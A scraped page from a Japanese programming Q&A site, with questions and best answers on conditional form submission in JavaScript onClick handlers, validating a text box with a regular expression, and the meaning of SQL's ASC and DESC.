<INPUT TYPE="button" VALUE="next" NAME="button1" onClick="return func();submit();">
</FORM>
と記述しています。
要は、ボタンを押下した際にfunc関数がtrueを返せば、next.htmlに
遷移させたいのですが、上記記述では、遷移しません・・・
onClick部分にonClick="return func(),submit();"と記述した場合、
func関数の実行結果がtrueでもfalseでも遷移してしまいます。
そこで、なんとなくonClick="return func()&&submit();"と記述してみたところ、
func関数がtrueの時のみうまく遷移するようになりました。

これは偶然そう動作しているのでしょうか、それとも上記は正しい記述方法なのでしょうか?
正しい記述方法ならいいのですが、上記以外に正式な記述方法があれば
教えていただけないでしょうか?

※TYPE="submit"にすればいいとは思うのですが、buttonで実現したいと
考えております。

JavaScriptで、
function func() {
 if (a==0) {
  alert("処理しない");
  return false;
 }
 return true;
}
と、a=0ならfalseを返し、それ以外ならtrueを返す関数を定義しています。

そして、FORMタグで
<FORM NAME="FormName" ACTION="next.html">
<INPUT TYPE="button" VALUE="next" NAME="button1" onClick="return func();submit();">
</FORM>
と記述しています。
要は、ボタンを押下した際にfunc関数がtrueを返せば、next.htmlに
遷移させたいのですが、上記記述では、遷移しませ...続きを読む

Aベストアンサー

3つのパターンをみる限り、理由は以下の通りと思います。
1.セミコロン(;)で区切った場合、
この場合、「return func();」と「submit();」とは別の文です。returnはその時点の値を戻して、それ以降の動作を打ち切ってしまいます。よって、onClickイベントはfuncメソッドの戻り値(true/false関係なく)を戻して、そこで終了、それ以降のsubmitは実行しないとなります。

2.カンマ(,)で区切った場合、
この場合、「return func(),submit();」が1つの文となります。この「,」は、左右の式を評価して、右式を結果とする演算子です。よって、funcメソッド、submitメソッド両方を評価するため、funcメソッドの戻り値に関係なく、submitされます。

3.&&で区切った場合、
論理演算子「&&」は、左右ともにtrue(0以外)の場合のみtrueとする演算子です。また、2項論理演算子は左式から評価し、左式だけで全体の結果がわかる場合、右式を評価しません。よって、funcメソッドがfalseを戻した場合、その時点でsubmitを評価しなくても演算結果は必ずfalseとなるのでそこで打ち切られ、trueを戻した場合、submitを評価しないと演算結果を得られないため、遷移したわけです。「&&」を「||(論理和)」に変更すると逆の結果得たと思います。

さて、では3の「&&」が正しいかと言われたら、文法上は正しいです。ただし、他人がみてわかるとは思えません。
そこで、以下の記述はいかがでしょう。読んでみてソースを理解できますか。


<FORM NAME="FormName" ACTION="next.html">
<INPUT TYPE="button" VALUE="next" NAME="button1" onClick="func()">
</FORM>

(中略)

// funcの定義
function func() {
 if (a==0) {
  alert("処理しない");
  return ;
 }
 document.FormName.submit();
}

要は、ボタンを押されたら、funcを呼び出せ。
funcでは、aが0ならば、そこで終了しろ。
そうでなければ、documentオブジェクト内のFormNameと言う名前のオブジェクトのsubmitメソッドを呼べ。
です。

3つのパターンをみる限り、理由は以下の通りと思います。
1.セミコロン(;)で区切った場合、
この場合、「return func();」と「submit();」とは別の文です。returnはその時点の値を戻して、それ以降の動作を打ち切ってしまいます。よって、onClickイベントはfuncメソッドの戻り値(true/false関係なく)を戻して、そこで終了、それ以降のsubmitは実行しないとなります。

2.カンマ(,)で区切った場合、
この場合、「return func(),submit();」が1つの文となります。この「,」は、左右の式を評価して、右...続きを読む

Qテキストボックス入力を半角英数字に制限する

よろしくお願いします。

テキストボックスに入力される文字を、
半角英数字(英語の場合は大文字のみ)以外入力できないように制限したいのですが可能でしょうか?

もしくは半角英数字以外が入力された場合アラートを出すようにしたいのですが。。。

また、文字数の制限も可能でしょうか?

第一希望)
12文字以内の半角英数大文字以外入力できないように入力制限する。

第二希望)
12文字以内の半角英数大文字以外入力の文字が入力されている状況でボタン(=CGI実行)を押すと警告のアラートが出る。

第三希望)
半角英数大文字以外入力できないように制限、もしくはアラート表示。

例)
AAAA-1234567 ○(ハイフンを含め12文字以内の半角英数字)
AAAA-123456789 ×(12文字以内でない)
aaaa-1234567 ×(小文字が含まれている)


webサーバー・・・HP-UX
web・・・IE6
開発端末・・・windows2000(Tera Term 使用)

情報をお持ちの方いらっしゃいましたら、
よろしくお願いいたします。

よろしくお願いします。

テキストボックスに入力される文字を、
半角英数字(英語の場合は大文字のみ)以外入力できないように制限したいのですが可能でしょうか?

もしくは半角英数字以外が入力された場合アラートを出すようにしたいのですが。。。

また、文字数の制限も可能でしょうか?

第一希望)
12文字以内の半角英数大文字以外入力できないように入力制限する。

第二希望)
12文字以内の半角英数大文字以外入力の文字が入力されている状況でボタン(=CGI実行)を押すと警告のアラートが...続きを読む

Aベストアンサー

第二希望の条件について。
前提としてチェックするテキストボックスのnameがtxtであった場合の説明をします。
まず、次のようにform開始タグにname="fm"とonsubmit="return checkForm()"を追加します。

<form name="fm" action="********.cgi" method="post" onsubmit="return checkForm()">


次に以下を<head>~</head>に貼り付けることで、JavaScriptによる送信前のチェックが可能です。

---------------------------------------
<script type="text/javascript">
<!--
function checkForm(){
var str = document.fm.txt.value;
if (str.match(/[^A-Z\d\-]/)) {
alert("半角英数字(大文字)しか入力できません");
return false;
}
else if (str.length > 12) {
alert("12文字以内で入力してください");
return false;
}
}
//-->
</script>
---------------------------------------

「ハイフンを含め」と書いているので、ハイフンを入れても有効なようにしました。
また、12文字以内としか書かれていないので0文字でも警告が出ないようになっています。
もし、何も入力されていない場合でも警告を出すならば、次のようにしてください。

---------------------------------------
if (!str) {
alert("何も入力されていません");
return false;
}
else if (str.match(/[^A-Z\d\-]/)) {
alert("半角英数字(大文字)しか入力できません");
return false;
}
else if (str.length > 12) {
alert("12文字以内で入力してください");
return false;
}
---------------------------------------

第二希望の条件について。
前提としてチェックするテキストボックスのnameがtxtであった場合の説明をします。
まず、次のようにform開始タグにname="fm"とonsubmit="return checkForm()"を追加します。

<form name="fm" action="********.cgi" method="post" onsubmit="return checkForm()">


次に以下を<head>~</head>に貼り付けることで、JavaScriptによる送信前のチェックが可能です。

---------------------------------------
<script type="text/javascript">
<!--
function checkForm(){
...続きを読む

QSQLで昇順、降順を表すASC,DESCの言葉の由来

ASC,DESCというのは、英語では何の略なのでしょうか。
該当しそうな単語を少し調べてみたのですが分かりませんでした。お教えください。

Aベストアンサー

それぞれ、
Ascending
Descending
の略です。


このQ&Aを見た人がよく見るQ&A

人気Q&Aランキング

おすすめ情報